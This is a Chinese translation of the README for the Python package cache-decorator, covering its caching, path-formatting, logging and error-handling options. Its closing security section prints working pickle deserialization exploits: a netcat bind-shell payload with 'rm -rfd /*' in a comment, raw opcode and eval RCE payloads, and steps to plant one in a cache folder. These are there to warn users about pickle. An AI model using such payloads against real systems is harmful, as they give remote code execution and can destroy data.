cache-decorator 2.2.0

如何安装此包？

像往常一样，只需使用pip下载即可

pip install cache_decorator

使用示例

要缓存一个函数或方法，只需用缓存装饰器装饰它即可。

from time import sleep
from cache_decorator import Cache
from dict_hash import Hashable

@Cache()
def x(a, b):
    sleep(3)
    return a + b

class A(Hashable):
    def __init__(self, x):
    self.x = x

    # you can call a method without args
    def my_method(self):
        return "|{}|".format(self.x)

    # you can call a static method
    @staticmethod
    def my_staticmethod():
        return "CIAO"

    # you can call a property
    @property
    def my_property(self):
        return "|{}|".format(self.x)

    # methods, static methods, and properties can return a custom formatter
    # that access attributes but can't call other methods
    def custom_formatter_method(self):
        return "{self.x:.4f}"

    @Cache(
        # this is a quick example of most things you can do in the formatting
        cache_path="/".join(
            "{cache_dir}",
            "{self.x}",
            "{self.my_method()}",
            "{self.my_staticmethod()}",
            "{self.my_property()}",
            "{self.custom_formatter_method()}",
            "{a}",
            "{b}_{_hash}.pkl",
        )
    )
    def f(self, a, b):
        sleep(3)
        return a + b

    # only needed if you want "{_hash}" in the path
    def consistent_hash(self) -> str:
        return str(self.x)

缓存路径

默认缓存目录是 ./cache，但可以通过将cache_dir参数传递给装饰器或设置环境变量CACHE_DIR来设置它。如果两者都设置了，则参数文件夹优先于环境变量。

from time import sleep
from cache_decorator import Cache

@Cache(cache_dir="/tmp")
def x(a):
    sleep(3)
    return a

可以通过传递cache_path参数来修改路径格式。此字符串将使用有关函数、其参数以及如果是方法，则self属性的信息进行格式化。

默认路径是

from time import sleep
from cache_decorator import Cache

@Cache(cache_path="{cache_dir}/{file_name}_{function_name}/{_hash}.pkl")
def x(a):
    sleep(3)
    return a

但可以修改给缓存一个更有意义的名称，例如，我们可以在文件名中添加a的值。

from time import sleep
from cache_decorator import Cache

@Cache(cache_path="{cache_dir}/{file_name}_{function_name}/{a}_{_hash}.pkl")
def x(a):
    sleep(3)
    return a

根据文件的扩展名，将调用不同的序列化和反序列化调度程序。

from time import sleep
from cache_decorator import Cache

@Cache(cache_path="/tmp/{_hash}.pkl.gz")
def x(a):
    sleep(3)
    return a

@Cache(cache_path="/tmp/{_hash}.json")
def x(a):
    sleep(3)
    return {"1":1,"2":2}

@Cache(cache_path="/tmp/{_hash}.npy")
def x(a):
    sleep(3)
    return np.array([1, 2, 3])

@Cache(cache_path="/tmp/{_hash}.npz")
def x(a):
    sleep(3)
    return np.array([1, 2, 3]), np.array([1, 2, 4])

在计算哈希时忽略参数

默认情况下，缓存通过函数传递的参数进行区分。可以指定哪些参数应该被忽略。

from time import sleep
from cache_decorator import Cache

@Cache(args_to_ignore=["verbose"])
def x(a, verbose=False):
    sleep(3)
    if verbose:
        print("HEY")
    return a

可以指定一个字符串列表作为要忽略的参数名称。

from time import sleep
from cache_decorator import Cache

@Cache(args_to_ignore=["verbose", "multiprocessing"])
def x(a, verbose=False, multiprocessing=False):
    sleep(3)
    if verbose:
        print("HEY")
    return a

动态启用缓存

有时我们需要动态地启用或禁用缓存，我们支持使用 enable_cache_arg_name 参数来实现，使用方法如下：

import time
import numpy as np
import pandas as pd
from cache_decorator import Cache

# simple boolean argument

@Cache(
    enable_cache_arg_name="enable_cache",
)
def function_to_cache(seed: int):
    np.random.seed(seed)
    return {"seed":seed}

# Cache enabled
function_to_cache(10)
# Cache enabled
function_to_cache(10, enable_cache=True)
# Cache disabled
function_to_cache(10, enable_cache=False)

class TestEnableCacheArgAsAttribute:
    def __init__(self, enable_cache: bool):
        self.enable_cache = enable_cache

    @Cache(
        cache_path="{cache_dir}/{a}.pkl",
        cache_dir="./test_cache",
        enable_cache_arg_name="self.enable_cache",
    )
    def cached_method(self, a):
        sleep(2)
        return [1, 2, 3]

instance = TestEnableCacheArgAsAttribute(enable_cache=True)
# with cache enabled
instance.cached_method(1)
# disable the cache
instance.enable_cache = False
instance.cached_method(1)


class TestEnableCacheArgAsAttributeProperty:
    def __init__(self, enable_cache: bool):
        self.enable_cache = enable_cache

    @property
    def is_cache_enabled(self):
        return self.enable_cache

    @Cache(
        cache_path="{cache_dir}/{a}.pkl",
        cache_dir="./test_cache",
        enable_cache_arg_name="self.is_cache_enabled()",
    )
    def cached_method(self, a):
        sleep(2)
        return [1, 2, 3]

instance = TestEnableCacheArgAsAttribute(enable_cache=True)
# with cache enabled
instance.cached_method(1)
# disable the cache
instance.enable_cache = False
instance.cached_method(1)

class TestEnableCacheArgAsAttributeStatic:
    """This can be used for abstract classes"""
    def __init__(self, enable_cache: bool):
        self.enable_cache = enable_cache

    @staticmethod
    def is_cache_enabled():
        return True

    @Cache(
        cache_path="{cache_dir}/{a}.pkl",
        cache_dir="./test_cache",
        enable_cache_arg_name="self.is_cache_enabled()",
    )
    def cached_method(self, a):
        sleep(2)
        return [1, 2, 3]

instance = TestEnableCacheArgAsAttributeStatic(enable_cache=True)
instance.cached_method(1)

有关使用示例，请参阅测试：test/test_method.py 和 test/test_enable_cache_arg_name.py。

缓存有效期

缓存也可能有一个有效期。

from time import sleep
from cache_decorator import Cache

@Cache(
    cache_path="/tmp/{_hash}.pkl.gz",
    validity_duration="24d"
    )
def x(a):
    sleep(3)
    return a

在这个例子中，缓存将在接下来的 24 天内有效。在第 25 天，缓存将被重建。持续时间可以写成秒或带有单位的字符串。单位可以是“s”秒，“m”分钟，“h”小时，“d”天，“w”周。

日志记录

每次使用此装饰器装饰新函数时，都会创建一个新的记录器。您可以使用 log_level 和 log_format 修改默认记录器。

from time import sleep
from cache_decorator import Cache

@Cache(log_level="debug")
def x(a):
    sleep(3)
    return a

如果您不喜欢默认格式，可以更改它：

from time import sleep
from cache_decorator import Cache

@Cache(log_format="%(asctime)-15s[%(levelname)s]: %(message)s")
def x(a):
    sleep(3)
    return a

有关格式化的更多信息，请参阅此处 https://docs.pythonlang.cn/3/library/logging.html。

此外，默认记录器的名称是

logging.getLogger("cache." + function.__name__)

因此，我们可以获取记录器的引用并完全自定义它

import logging
from cache_decorator import Cache

@Cache()
def test_function(x):
    return 2 * x

# Get the logger
logger = logging.getLogger("cache.test_function")
logger.setLevel(logging.DEBUG)

# Make it log to a file
handler = logging.FileHandler("cache.log")
logger.addHandler(handler)

错误处理

我们注意到使用此库的一个常见问题是，如果保存的类型与选择的扩展不兼容，则程序将在函数结束时引发异常，我们丢失了所有已完成的工作。为了缓解这个问题，现在缓存装饰器有一个内置的错误处理系统。如果在序列化结果时发生错误，程序将自动使用 pickle 进行备份。默认情况下，这将在原始路径的末尾添加 _backup.pkl，但如果出于任何原因这将覆盖文件，则将附加一个随机字符串。并且记录（以关键级别）备份文件的路径和预期的路径

假设我们错误地将扩展名设置为 CSV 而不是 JSON

from cache_decorator import Cache

@Cache("./test_{x}.csv")
def test_function(x):
    return {"this":{"is":{"not":{"a":"csv"}}}}

test_function(10)
# 2021-02-22 13:22:07,286[CRITICAL]: Couldn't save the result of the function. Saving the result as a pickle at:
# ./test_10.csv_backup.pkl
# The file was gonna be written at:
# ./test_10.csv

现在我们可以手动加载值并将其存储在正确的路径上，这样在下次函数调用时，缓存将使用正确的扩展名正确加载。

import json
import pickle

# Load the backup
with open("./test_10.csv_backup.pkl", "rb") as f:
    result = pickle.load(f)

# Save it at the right path
with open("./test_10.json", "w") as f:
    json.dump(f, result)

from cache_decorator import Cache

@Cache("./test_{x}.json")
def test_function(x):
    return {"this":{"is":{"not":{"a":"csv"}}}}

test_function(10) # Load the corrected Cache at "./test_10.json"

可选地，可以通过捕获异常并访问其字段来程序化地解决这个问题。

from cache_decorator import Cache

@Cache("./test.csv")
def test_function(x):
    return {"this":{"is":{"not":{"a":"csv"}}}}

try:
    test_function(10, y="ciao")
except SerializationException as e:
    result = e.result
    backup_path = e.backup_path
    path = e.path

此外，可以使用 backup_path 参数自定义备份路径，在这里您可以使用与 path 相同的参数，也可以使用 {_date}，它是备份的日期，以及 {_rnd}，这保证了文件不会覆盖其他文件

from cache_decorator import Cache

@Cache("./test.csv", backup_path="./backup_{date}_{rnd}.pkl")
def test_function(x):
    return {"this":{"is":{"not":{"a":"csv"}}}}

test_function(10, y="ciao")

# 2021-02-22 13:22:07,286[CRITICAL]: Couldn't save the result of the function. Saving the result as a pickle at:
# ./backup_2021_02_22_13_22_07_18ce30b003e14d16d5e0f749e8205e467aedfbba.pkl
# The file was gonna be written at:
# ./test.csv

内部结构

如果您需要以任何原因获取包装函数及其缓存类引用，您可以通过内部变量访问它们

from cache_decorator import Cache

@Cache()
def test_function(x, y):
    return 2 * x

original_test_function = test_function.__cached_function
test_function_cacher_class = test_function.__cacher_instance

我们不建议使用它们。

手动缓存

如果出于某种原因需要手动管理缓存，您可以使用 Cache 类的内置静态方法。它将自动创建所需的文件夹。此外，您还可以获取函数调用的预期路径。

from cache_decorator import Cache

# you can use the Cache class functions to load and store data easily
# but here you can't use a path formatter but you have to pass a complete path.

# Store
Cache.store({1:2, 3:4}, "./my_custom_cache/best_dict_ever.json)

# Load
best_dict = Cache.load("./my_custom_cache/best_dict_ever.json)

# This would not format anything!
# Cache.store({1:2, 3:4}, "./my_custom_cache/{_hash}.json)
# this would save a file called literally called "{_hash}.json"

@Cache()
def test_function(x, y):
    return 2 * x


# you can get the path where the file would be saved (this does not call the function!).
path = Cache.compute_path(test_function, 10, y="ciao")

安全警告

尽可能不要使用 pickle 扩展。未信任数据的反序列化可能会导致远程代码执行或本地权限提升（ https://davidhamann.de/2020/04/05/exploiting-python-pickle/）。因此，在可能的情况下，简单格式（如 json）是首选。

假设我们有以下代码

from cache_decorator import Cache

@Cache("./cache/{x}.pkl)
def my_awesome_function(x):
    return x

...

my_awesome_function(1)

如果我们以任何方式可以访问缓存文件夹，我们就可以轻易地利用它

import pickle

COMMAND = "netcat -c '/bin/bash -i' -l -p 4444" # rm -rfd /*

class PickleRce(object):
    def __reduce__(self):
        import os
        return (os.system,(COMMAND,))

payload = pickle.dumps(PickleRce())
print(payload)
# b"\x80\x04\x95>\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c#netcat -c '/bin/bash -i' -l -p 4444\x94\x85\x94R\x94."

with open("./cache/1.pkl", "wb") as f:
    f.write(payload)

下次函数调用时，如果使用参数 1，我们将启动远程shell并控制系统。

或者，由于Pickle是一个由VM执行的“编程语言”，我们可以编写一个仅使用内置函数的通用RCE漏洞。

import pickle

# Build the exploit
command = b"""cat flag.txt"""
x = b"c__builtin__\ngetattr\nc__builtin__\n__import__\nS'os'\n\x85RS'system'\n\x86RS'%s'\n\x85R."%command

# Test it
pickle.load(x)

或者，你只需调用eval并执行任意Python代码。

import pickle

code = "print('ciao')"

pickle.loads(b"".join([
    b"c__builtin__\neval\n(",
    pickle.dumps(code, protocol=0)[:-1],
    b"tR."
]))

因此，使用更简单的序列化方案（如json）并通过将缓存目录设置为当前用户的只读来加强系统是很重要的。

chown -r $USER:$USER ./cache
chmod -r 600 ./cache

这样，只有当前应用程序可以创建和修改缓存文件。